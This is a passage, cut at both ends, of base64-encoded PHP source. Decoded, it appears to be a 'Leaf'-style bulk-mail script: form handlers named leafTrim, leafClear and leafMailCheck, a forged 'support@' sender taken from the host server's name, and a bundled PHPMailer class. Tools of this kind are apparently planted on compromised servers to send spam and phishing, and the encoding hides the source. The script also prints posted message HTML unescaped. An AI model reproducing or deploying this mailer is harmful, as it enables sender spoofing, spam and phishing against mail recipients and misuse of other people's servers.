CI7CiAgICBlbHNlaWYoJGVuY29kaW5nPT0iYmFzZTY0IikgJGJhc2U2ND0ic2VsZWN0ZWQiOwogICAgZWxzZWlmKCRlbmNvZGluZz09InF1b3RlZC1wcmludGFibGUiKSAkcXVvdGVkcHJpbnRhYmxlPSJzZWxlY3RlZCI7CiAgICBlbHNlICRiaXQ4PSJzZWxlY3RlZCI7CgoKCn0KaWYoJF9QT1NUWydhY3Rpb24nXT09InZpZXciKXsKCSR2aWV3TWVzc2FnZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7Cgkkdmlld01lc3NhZ2U9bGVhZkNsZWFyKCR2aWV3TWVzc2FnZSwidXNlckBkb21haW4uY29tIik7CglpZiAoJF9QT1NUWydtZXNzYWdlVHlwZSddPT0yKXsKCQlwcmludCAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHZpZXdNZXNzYWdlKS4iPC9wcmU+IjsKCX0KCWVsc2UgewoJCXByaW50ICR2aWV3TWVzc2FnZTsKCX0KCWV4aXQ7Cn0KCgoKaWYoIWlzc2V0KCRfUE9TVFsnc2VuZGVyRW1haWwnXSkpewogICAgJHNlbmRlckVtYWlsPSJzdXBwb3J0QCIuc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKICAgIGlmICghbGVhZk1haWxDaGVjaygkc2VuZGVyRW1haWwpKSAkc2VuZGVyRW1haWw9IiI7Cn0KCmNsYXNzIFBIUE1haWxlcgp7CiAgICAvKioKICAgICAqIFRoZSBQSFBNYWlsZXIgVmVyc2lvbiBudW1iZXIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFZlcnNpb24gPSAnNS4yLjI4JzsKCiAgICAvKioKICAgICAqIEVtYWlsIHByaW9yaXR5LgogICAgICogT3B0aW9uczogbnVsbCAoZGVmYXVsdCksIDEgPSBIaWdoLCAzID0gTm9ybWFsLCA1ID0gbG93LgogICAgICogV2hlbiBudWxsLCB0aGUgaGVhZGVyIGlzIG5vdCBzZXQgYXQgYWxsLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkUHJpb3JpdHkgPSBudWxsOwoKICAgIC8qKgogICAgICogVGhlIGNoYXJhY3RlciBzZXQgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENoYXJTZXQgPSAnaXNvLTg4NTktMSc7CgogICAgLyoqCiAgICAgKiBUaGUgTUlNRSBDb250ZW50LXR5cGUgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENvbnRlbnRUeXBlID0gJ3RleHQvcGxhaW4nOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgZW5jb2RpbmcuCiAgICAgKiBPcHRpb25zOiAiOGJpdCIsICI3Yml0IiwgImJpbmFyeSIsICJiYXNlNjQiLCBhbmQgInF1b3RlZC1wcmludGFibGUiLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFbmNvZGluZyA9ICc4Yml0JzsKCiAgICAvKioKICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRXJyb3JJbmZvID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRnJvbSA9ICdyb290QGxvY2FsaG9zdCc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRGcm9tTmFtZSA9ICdSb290IFVzZXInOwoKICAgIC8qKgogICAgICogVGhlIFNlbmRlciBlbWFpbCAoUmV0dXJuLVBhdGgpIG9mIHRoZSBtZXNzYWdlLgogICAgICogSWYgbm90IGVtcHR5LCB3aWxsIGJlIHNlbnQgdmlhIC1mIHRvIHNlbmRtYWlsIG9yIGFzICdNQUlMIEZST00nIGluIHNtdHAgbW9kZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgUmV0dXJuLVBhdGggb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBJZiBlbXB0eSwgaXQgd2lsbCBiZSBzZXQgdG8gZWl0aGVyIEZyb20gb3IgU2VuZGVyLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIEVtYWlsIHNlbmRlcnMgc2hvdWxkIG5ldmVyIHNldCBhIHJldHVybi1wYXRoIGhlYWRlcjsKICAgICAqIGl0J3MgdGhlIHJlY2VpdmVyJ3Mgam9iIChSRkM1MzIxIHNlY3Rpb24gNC40KSwgc28gdGhpcyBubyBsb25nZXIgZG9lcyBhbnl0aGluZy4KICAgICAqIEBsaW5rIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIxI3NlY3Rpb24tNC40IFJGQzUzMjEgcmVmZXJlbmNlCiAgICAgKi8KICAgIHB1YmxpYyAkUmV0dXJuUGF0aCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFN1YmplY3Qgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFN1YmplY3QgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIEhUTUwgb3IgcGxhaW4gdGV4dCBtZXNzYWdlIGJvZHkuCiAgICAgKiBJZiBIVE1MIHRoZW4gY2FsbCBpc0hUTUwodHJ1ZSkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBwbGFpbi10ZXh0IG1lc3NhZ2UgYm9keS4KICAgICAqIFRoaXMgYm9keSBjYW4gYmUgcmVhZCBieSBtYWlsIGNsaWVudHMgdGhhdCBkbyBub3QgaGF2ZSBIVE1MIGVtYWlsCiAgICAgKiBjYXBhYmlsaXR5IHN1Y2ggYXMgbXV0dCAmIEV1ZG9yYS4KICAgICAqIENsaWVudHMgdGhhdCBjYW4gcmVhZCBIVE1MIHdpbGwgdmlldyB0aGUgbm9ybWFsIEJvZHkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEFsdEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIGlDYWwgbWVzc2FnZSBwYXJ0IGJvZHkuCiAgICAgKiBPbmx5IHN1cHBvcnRlZCBpbiBzaW1wbGUgYWx0IG9yIGFsdF9pbmxpbmUgbWVzc2FnZSB0eXBlcwogICAgICogVG8gZ2VuZXJhdGUgaUNhbCBldmVudHMsIHVzZSB0aGUgYnVuZGxlZCBleHRyYXMvRWFzeVBlYXN5SUNTLnBocCBjbGFzcyBvciBpQ2FsY3JlYXRvcgogICAgICogQGxpbmsgaHR0cDovL3NwcmFpbi5jaC9ibG9nL2Rvd25sb2Fkcy9waHAtY2xhc3MtZWFzeXBlYXN5aWNzLWNyZWF0ZS1pY2FsLWZpbGVzLXdpdGgtcGhwLwogICAgICogQGxpbmsgaHR0cDovL2tpZ2tvbnN1bHQuc2UvaUNhbGNyZWF0b3IvCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEljYWwgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgYm9keS4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBFeHRyYSBoZWFkZXJzIHRoYXQgY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbWFpbEhlYWRlciA9ICcnOwoKICAgIC8qKgogICAgICogV29yZC13cmFwIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhpcyBudW1iZXIgb2YgY2hhcnMuCiAgICAgKiBTZXQgdG8gMCB0byBub3Qgd3JhcC4gQSB1c2VmdWwgdmFsdWUgaGVyZSBpcyA3OCwgZm9yIFJGQzI4MjIgc2VjdGlvbiAyLjEuMSBjb21wbGlhbmNlLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkV29yZFdyYXAgPSAwOwoKICAgIC8qKgogICAgICogV2hpY2ggbWV0aG9kIHRvIHVzZSB0byBzZW5kIG1haWwuCiAgICAgKiBPcHRpb25zOiAibWFpbCIsICJzZW5kbWFpbCIsIG9yICJzbXRwIi4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWFpbGVyID0gJ21haWwnOwoKICAgIC8qKgogICAgICogVGhlIHBhdGggdG8gdGhlIHNlbmRtYWlsIHByb2dyYW0uCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIG1haWwoKSB1c2VzIGEgZnVsbHkgc2VuZG1haWwtY29tcGF0aWJsZSBNVEEuCiAgICAgKiBPbmUgd2hpY2ggc3VwcG9ydHMgc2VuZG1haWwncyAiLW9pIC1mIiBvcHRpb25zLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlU2VuZG1haWxPcHRpb25zID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFBhdGggdG8gUEhQTWFpbGVyIHBsdWdpbnMuCiAgICAgKiBVc2VmdWwgaWYgdGhlIFNNVFAgY2xhc3MgaXMgbm90IGluIHRoZSBQSFAgaW5jbHVkZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIFNob3VsZCBub3QgYmUgbmVlZGVkIG5vdyB0aGVyZSBpcyBhbiBhdXRvbG9hZGVyLgogICAgICovCiAgICBwdWJsaWMgJFBsdWdpbkRpciA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGVtYWlsIGFkZHJlc3MgdGhhdCBhIHJlYWRpbmcgY29uZmlybWF0aW9uIHNob3VsZCBiZSBzZW50IHRvLCBhbHNvIGtub3duIGFzIHJlYWQgcmVjZWlwdC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGhvc3RuYW1lIHRvIHVzZSBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgYW5kIGFzIGRlZmF1bHQgSEVMTyBzdHJpbmcuCiAgICAgKiBJZiBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQgb25lIHdpdGgsIGluIG9yZGVyLAogICAgICogJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10sIGdldGhvc3RuYW1lKCksIHBocF91bmFtZSgnbicpLCBvciB0aGUgdmFsdWUKICAgICAqICdsb2NhbGhvc3QubG9jYWxkb21haW4nLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwoKICAgIC8qKgogICAgICogQW4gSUQgdG8gYmUgdXNlZCBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIuCiAgICAgKiBJZiBlbXB0eSwgYSB1bmlxdWUgaWQgd2lsbCBiZSBnZW5lcmF0ZWQuCiAgICAgKiBZb3UgY2FuIHNldCB5b3VyIG93biwgYnV0IGl0IG11c3QgYmUgaW4gdGhlIGZvcm1hdCAiPGlkQGRvbWFpbj4iLAogICAgICogYXMgZGVmaW5lZCBpbiBSRkM1MzIyIHNlY3Rpb24gMy42LjQgb3IgaXQgd2lsbCBiZSBpZ25vcmVkLgogICAgICogQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTMuNi40CiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VJRCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgRGF0ZSB0byBiZSB1c2VkIGluIHRoZSBEYXRlIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCB0aGUgY3VycmVudCBkYXRlIHdpbGwgYmUgYWRkZWQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VEYXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGhvc3RzLgogICAgICogRWl0aGVyIGEgc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgYSBkaWZmZXJlbnQgcG9ydAogICAgICogZm9yIGVhY2ggaG9zdCBieSB1c2luZyB0aGlzIGZvcm1hdDogW2hvc3RuYW1lOnBvcnRdCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGVuY3J5cHRpb24gdHlwZSwgZm9yIGV4YW1wbGU6CiAgICAgKiAoZS5nLiAidGxzOi8vc210cDEuZXhhbXBsZS5jb206NTg3O3NzbDovL3NtdHAyLmV4YW1wbGUuY29tOjQ2NSIpLgogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOwoKICAgIC8qKgogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4KICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQFRPRE8gV2h5IGlzIHRoaXMgbmVlZGVkIHdoZW4gdGhlIFNNVFAgY2xhc3MgdGFrZXMgY2FyZSBvZiBpdD8KICAgICAqLwogICAgcHVibGljICRQb3J0ID0gMjU7CgogICAgLyoqCiAgICAgKiBUaGUgU01UUCBIRUxPIG9mIHRoZSBtZXNzYWdlLgogICAgICogRGVmYXVsdCBpcyAkSG9zdG5hbWUuIElmICRIb3N0bmFtZSBpcyBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQKICAgICAqIG9uZSB3aXRoIHRoZSBzYW1lIG1ldGhvZCBkZXNjcmliZWQgYWJvdmUgZm9yICRIb3N0bmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JEhvc3RuYW1lCiAgICAgKi8KICAgIHB1YmxpYyAkSGVsbyA9ICcnOwoKICAgIC8qKgogICAgICogV2hhdCBraW5kIG9mIGVuY3J5cHRpb24gdG8gdXNlIG9uIHRoZSBTTVRQIGNvbm5lY3Rpb24uCiAgICAgKiBPcHRpb25zOiAnJywgJ3NzbCcgb3IgJ3RscycKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBlbmFibGUgVExTIGVuY3J5cHRpb24gYXV0b21hdGljYWxseSBpZiBhIHNlcnZlciBzdXBwb3J0cyBpdCwKICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuCiAgICAgKiBCZSBhd2FyZSB0aGF0IGluIFBIUCA+PSA1LjYgdGhpcyByZXF1aXJlcyB0aGF0IHRoZSBzZXJ2ZXIncyBjZXJ0aWZpY2F0ZXMgYXJlIHZhbGlkLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dG9UTFMgPSB0cnVlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgU01UUCBhdXRoZW50aWNhdGlvbi4KICAgICAqIFVzZXMgdGhlIFVzZXJuYW1lIGFuZCBQYXNzd29yZCBwcm9wZXJ0aWVzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFVzZXJuYW1lCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFBhc3N3b3JkCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dGggPSBmYWxzZTsKCiAgICAvKioKICAgICAqIE9wdGlvbnMgYXJyYXkgcGFzc2VkIHRvIHN0cmVhbV9jb250ZXh0X2NyZWF0ZSB3aGVuIGNvbm5lY3RpbmcgdmlhIFNNVFAuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyAkU01UUE9wdGlvbnMgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogU01UUCB1c2VybmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlcm5hbWUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcGFzc3dvcmQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGF1dGggdHlwZS4KICAgICAqIE9wdGlvbnMgYXJlIENSQU0tTUQ1LCBMT0dJTiwgUExBSU4sIE5UTE0sIFhPQVVUSDIsIGF0dGVtcHRlZCBpbiB0aGF0IG9yZGVyIGlmIG5vdCBzcGVjaWZpZWQKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcmVhbG0uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgd29ya3N0YXRpb24uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkV29ya3N0YXRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIHNlcnZlciB0aW1lb3V0IGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwoKICAgIC8qKgogICAgICogU01UUCBjbGFzcyBkZWJ1ZyBvdXRwdXQgbW9kZS4KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGAwYCBObyBvdXRwdXQKICAgICAqICogYDFgIENvbW1hbmRzCiAgICAgKiAqIGAyYCBEYXRhIGFuZCBjb21tYW5kcwogICAgICogKiBgM2AgQXMgMiBwbHVzIGNvbm5lY3Rpb24gc3RhdHVzCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQKICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQHNlZSBTTVRQOjokZG9fZGVidWcKICAgICAqLwogICAgcHVibGljICRTTVRQRGVidWcgPSAwOwoKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqCiAgICAgKiBBbHRlcm5hdGl2ZWx5LCB5b3UgY2FuIHByb3ZpZGUgYSBjYWxsYWJsZSBleHBlY3RpbmcgdHdvIHBhcmFtczogYSBtZXNzYWdlIHN0cmluZyBhbmQgdGhlIGRlYnVnIGxldmVsOgogICAgICogPGNvZGU+CiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307CiAgICAgKiA8L2NvZGU+CiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8ga2VlcCBTTVRQIGNvbm5lY3Rpb24gb3BlbiBhZnRlciBlYWNoIG1lc3NhZ2UuCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0cnVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24KICAgICAqIHJlcXVpcmVzIGFuIGV4cGxpY2l0IGNhbGwgdG8gc210cENsb3NlKCkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHNwbGl0IG11bHRpcGxlIHRvIGFkZHJlc3NlcyBpbnRvIG11bHRpcGxlIG1lc3NhZ2VzCiAgICAgKiBvciBzZW5kIHRoZW0gYWxsIGluIG9uZSBtZXNzYWdlLgogICAgICogT25seSBzdXBwb3J0ZWQgaW4gYG1haWxgIGFuZCBgc2VuZG1haWxgIHRyYW5zcG9ydHMsIG5vdCBpbiBTTVRQLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAVE9ETyBUaGlzIHNob3VsZCByZWFsbHkgbm90IGJlIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBWRVJQIGFkZHJlc3NlcyBvbiBzZW5kLgogICAgICogT25seSBhcHBsaWNhYmxlIHdoZW4gc2VuZGluZyB2aWEgU01UUC4KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqIEB2YXIgYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRBbGxvd0VtcHR5ID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBsaW5lIGVuZGluZy4KICAgICAqIEBub3RlIFRoZSBkZWZhdWx0IHJlbWFpbnMgIlxuIi4gV2UgZm9yY2UgQ1JMRiB3aGVyZSB3ZSBrbm93CiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wYXNzcGhyYXNlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqIElmIHNldCwgdGFrZXMgcHJlY2VkZW5jZSBvdmVyIGAkREtJTV9wcml2YXRlYC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwoKICAgIC8qKgogICAgICogQ2FsbGJhY2sgQWN0aW9uIGZ1bmN0aW9uIG5hbWUuCiAgICAgKgogICAgICogVGhlIGZ1bmN0aW9uIHRoYXQgaGFuZGxlcyB0aGUgcmVzdWx0IG9mIHRoZSBzZW5kIGVtYWlsIGFjdGlvbi4KICAgICAqIEl0IGlzIGNhbGxlZCBvdXQgYnkgc2VuZCgpIGZvciBlYWNoIGVtYWlsIHNlbnQuCiAgICAgKgogICAgICogVmFsdWUgY2FuIGJlIGFueSBwaHAgY2FsbGFibGU6IGh0dHA6Ly93d3cucGhwLm5ldC9pc19jYWxsYWJsZQogICAgICoKICAgICAqIFBhcmFtZXRlcnM6CiAgICAgKiAgIGJvb2xlYW4gJHJlc3VsdCAgICAgICAgcmVzdWx0IG9mIHRoZSBzZW5kIGFjdGlvbgogICAgICogICBhcnJheSAgICR0byAgICAgICAgICAgIGVtYWlsIGFkZHJlc3NlcyBvZiB0aGUgcmVjaXBpZW50cwogICAgICogICBhcnJheSAgICRjYyAgICAgICAgICAgIGNjIGVtYWlsIGFkZHJlc3NlcwogICAgICogICBhcnJheSAgICRiY2MgICAgICAgICAgIGJjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgc3RyaW5nICAkc3ViamVjdCAgICAgICB0aGUgc3ViamVjdAogICAgICogICBzdHJpbmcgICRib2R5ICAgICAgICAgIHRoZSBlbWFpbCBib2R5CiAgICAgKiAgIHN0cmluZyAgJGZyb20gICAgICAgICAgZW1haWwgYWRkcmVzcyBvZiBzZW5kZXIKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGF0IHRvIHB1dCBpbiB0aGUgWC1NYWlsZXIgaGVhZGVyLgogICAgICogT3B0aW9uczogQW4gZW1wdHkgc3RyaW5nIGZvciBQSFBNYWlsZXIgZGVmYXVsdCwgd2hpdGVzcGFjZSBmb3Igbm9uZSwgb3IgYSBzdHJpbmcgdG8gdXNlCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFhNYWlsZXIgPSAnICc7CgogICAgLyoqCiAgICAgKiBXaGljaCB2YWxpZGF0b3IgdG8gdXNlIGJ5IGRlZmF1bHQgd2hlbiB2YWxpZGF0aW5nIGVtYWlsIGFkZHJlc3Nlcy4KICAgICAqIE1heSBiZSBhIGNhbGxhYmxlIHRvIGluamVjdCB5b3VyIG93biB2YWxpZGF0b3IsIGJ1dCB0aGVyZSBhcmUgc2V2ZXJhbCBidWlsdC1pbi